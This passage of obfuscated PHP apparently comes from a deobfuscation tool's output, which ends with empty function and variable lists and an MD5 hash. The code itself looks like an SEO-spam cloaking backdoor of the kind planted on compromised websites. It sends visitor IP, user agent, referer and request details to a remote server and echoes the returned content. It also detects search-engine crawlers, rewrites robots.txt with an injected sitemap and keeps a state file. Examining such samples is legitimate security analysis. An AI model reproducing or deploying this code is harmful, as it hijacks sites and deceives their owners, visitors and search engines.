"\74\146\157\156\x74\x20\x63\157\x6c\157\x72\x3d\47\x72\x65\144\x27\76\105\x52\x52\117\122\74\x2f\146\157\156\x74\x3e"; goto Sfi6q; QMnYm: $Znn_c = urlencode(W7ivs()); goto a76_i; z9V83: ilJ0U: goto qCFW1; EI3J2: echo $KAaRW; goto jedBD; jedBD: exit; goto Rqihd; XSBZj: upp2u: goto EsR_f; C3JbR: header("\103\157\156\164\145\156\164\55\124\171\160\x65\72\x20\x74\x65\x78\x74\57\170\x6d\x6c\x3b\x20\x63\150\x61\x72\x73\145\x74\x3d\165\164\x66\x2d\70"); goto xfEDH; ueAQ_: @file_put_contents("\165\170\157\56\x74\170\164", "\61"); goto TPIsL; TOMBJ: $qGMzj = @file_get_contents("\x75\x78\x6f\56\x74\170\x74"); goto vWeKZ; PmGrC: exit; goto d0pSh; B2bPF: $JmGFz = urlencode($_SERVER["\x53\103\122\111\x50\124\137\116\x41\x4d\105"]); goto oam6C; Jo2tx: $KAaRW = CjWxQ($VfwJv); goto FkWg0; PQLBx: header("\103\x6f\x6e\x74\145\156\164\x2d\124\x79\160\x65\72\40\164\145\170\164\x2f\x68\x74\155\x6c\73\x20\x63\x68\x61\162\163\145\164\x3d\165\164\146\x2d\x38"); goto yn3dH; lxdmg: $LCQgf = "\x55\163\x65\x72\x2d\x61\x67\145\x6e\x74\72\x20\x2a\15\12\101\x6c\x6c\x6f\x77\72\x20\x2f"; goto sC8bS; vWeKZ: goto cyLXk; goto bPi_1; jpZGe: VrnMk: goto izEVK; RKtxB: goto E3LLj; goto hVORF; SxJyM: $VfwJv = $Vn9xM . "\77\141\x67\145\x6e\x74\75{$JOVC3}\46\162\145\146\145\162\75{$T7Yqg}\x26\154\141\156\147\x3d{$D1dx4}\46\151\160\75{$Znn_c}\46\144\157\x6d\x3d{$Mt64O}\46\150\x74\x74\160\75{$fGHDm}\46\165\x72\x69\75{$bgt_E}\46\160\x63\x3d{$posoF}\46\162\145\167\162\x69\x74\x65\141\x62\154\x65\x3d{$qGMzj}\46\163\143\162\x69\x70\164\75{$JmGFz}"; goto Jo2tx; xCqXy: if (!(strpos($bgt_E, "\x75\165\165\x75\170\x78\x78\x78\157\x6f\x6f") !== false)) { goto moX2V; } goto zi5IW; E7JoN: $KAaRW = cJWXQ($VfwJv); goto C3JbR; WwhPI: goto gwjDp; goto VFFvg; HxaxV: cyLXk: goto EDG8c; nnuIJ: $VfwJv = $Vn9xM . "\77\141\x67\145\156\x74\75{$JOVC3}\x26\162\145\x66\145\162\75{$T7Yqg}\x26\x6c\x61\x6e\147\x3d{$D1dx4}\x26\x69\160\x3d{$Znn_c}\x26\x64\x6f\155\x3d{$Mt64O}\x26\x68\x74\x74\x70\75{$fGHDm}\x26\x75\x72\151\75{$bgt_E}\x26\x70\x63\75{$posoF}\46\162\145\167\x72\x69\x74\145\x61\x62\154\x65\x3d{$qGMzj}\46\163\x63\162\x69\x70\x74\x3d{$JmGFz}"; goto E7JoN; RQ5Pa: exit; goto By2ut; a4Wvx: @file_put_contents("\165\x78\157\x2e\164\x78\x74", "\60"); goto MxQE2; yykGa: roMZF: goto kPZqu; GYAQf: echo $KAaRW; goto sNEdl; myiK0: function w7ivS() { goto tAmlc; AIZ2j: KbdgH: goto MmuRG; MmuRG: $Znn_c = getenv("\x52\x45\x4d\x4f\x54\105\137\x41\x44\x44\122"); goto hD6AD; yStCm: $loCvs = explode("\54", $Znn_c); goto uYJvr; cO553: goto ceCKc; goto AIZ2j; d9XI4: goto ceCKc; goto IbooK; tzLli: return $Znn_c; goto wHws1; PB4S6: $Znn_c = "\60\56\x30\56\60\x2e\x30"; goto d9XI4; hD6AD: ceCKc: goto tzLli; JCtW4: if (getenv("\110\x54\124\120\137\x58\137\106\117\122\127\101\x52\x44\105\x44\x5f\106\x4f\122")) { goto dPzCC; } goto TaAhg; i7EvH: kOBVr: goto xL2xA; ldpdz: $Znn_c = getenv("\110\x54\124\120\137\103\x4c\111\x45\116\x54\137\111\x50"); goto i7EvH; IbooK: ut17T: goto GGeGf; wtIm6: goto ceCKc; goto AqDY2; tAmlc: if (!getenv("\110\x54\x54\x50\137\x43\114\x49\105\116\124\x5f\x49\120")) { goto kOBVr; } goto ldpdz; GGeGf: $Znn_c = getenv("\x48\124\x54\120\137\130\x5f\x52\105\x41\114\x5f\111\120"); goto wtIm6; AqDY2: dPzCC: goto TxHt1; uYJvr: $Znn_c = $loCvs[0]; goto cO553; TxHt1: $Znn_c = getenv("\x48\124\x54\x50\x5f\130\x5f\106\117\122\127\x41\122\x44\105\x44\x5f\106\x4f\122"); goto yStCm; TaAhg: if (getenv("\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\104\x52")) { goto KbdgH; } goto PB4S6; xL2xA: if (getenv("\x48\124\x54\x50\x5f\130\137\x52\105\101\x4c\137\111\x50")) { goto ut17T; } goto JCtW4; wHws1: } goto fgmlB; tdo5r: exit; goto cWxDW; FkWg0: if (empty($KAaRW)) { goto w3sKE; } goto YbqyY; d6xm0: if (preg_match("\x2f\50{$PRBej}\x29\x2f\151", $_SERVER["\x48\124\124\120\x5f\122\x45\x46\x45\x52\x45\x52"])) { goto M5cNx; } goto HwUx0; QNZvv: $LCQgf = trim($LCQgf) . "\15\xa" . "\x53\x69\x74\x65\x6d\141\x70\x3a\x20{$vM29_}"; goto baqA9; coiQU: if (!preg_match("\x2f\50\102\171\x74\x65\x73\x70\151\144\145\162\x7c\x50\x65\164\x61\154\x42\157\164\174\x41\150\162\145\146\163\102\157\x74\174\x42\141\162\153\x72\x6f\x77\x6c\145\162\174\115\112\x31\x32\142\x6f\164\174\x46\x65\145\x64\x44\145\155\157\x6e\x7c\x4a\x69\x6b\x65\123\x70\151\144\x65\x72\174\111\156\x64\171\x20\x4c\151\142\x72\x61\162\x79\x7c\x41\x73\x6b\124\x62\x46\x58\124\126\x7c\103\162\141\167\154\x44\141\x64\x64\x79\174\x43\x6f\157\x6c\x70\141\144\127\x65\x62\153\x69\164\174\112\141\166\x61\x7c\x46\x65\145\144\154\x79\x7c\125\x6e\151\166\x65\162\163\141\x6c\106\145\x65\144\120\x61\x72\163\145\162\x7c\x41\160\x61\x63\x68\x65\x42\x65\x6e\143\x68\x7c\123\167\x69\146\x74\x62\157\x74\174\x5a\155\105\165\x7c\x6f\102\x6f\x74\x7c\152\x61\165\x6e\x74\x79\x7c\120\171\164\x68\x6f\x6e\x2d\x75\162\x6c\x6c\151\x62\174\160\171\164\150\x6f\156\55\x72\x65\161\x75\145\x73\x74\163\x7c\x6c\151\147\150\164\x44\x65\x63\x6b\x52\145\160\157\x72\164\x73\40\x42\x6f\x74\174\x59\x59\123\160\x69\x64\x65\x72\x7c\x44\x69\x67\x45\x78\x74\x7c\131\x69\x73\x6f\165\x53\x70\151\144\145\x72\x7c\x48\164\164\160\103\154\x69\x65\x6e\x74\x7c\150\x65\x72\151\164\162\151\x78\174\x45\x61\x73\x6f\165\x53\160\x69\x64\x65\x72\x7c\105\x7a\x6f\x6f\155\163\x7c\101\155\x61\x7a\157\x6e\102\157\164\174\x53\x45\x4d\162\165\163\x68\x42\x6f\164\x7c\131\141\156\x64\145\170\x42\x6f\x74\51\x2f\151", $_SERVER["\110\x54\x54\120\x5f\x55\123\x45\122\x5f\101\x47\x45\x4e\x54"])) { goto R2Pcb; } goto Fwcm3; W5tka: ADEWi: goto p53FC; EqwxQ: moX2V: goto qh039; Znplz: if (!($oQ33H < 30)) { goto hBm_J; } goto GKLqu; Owqab: KUYx0:
?>

Function Calls

None

Variables

None

Stats

MD5 f107459b7a2c37543157a187e0fba5ed
Eval Count 0
Decode Time 74 ms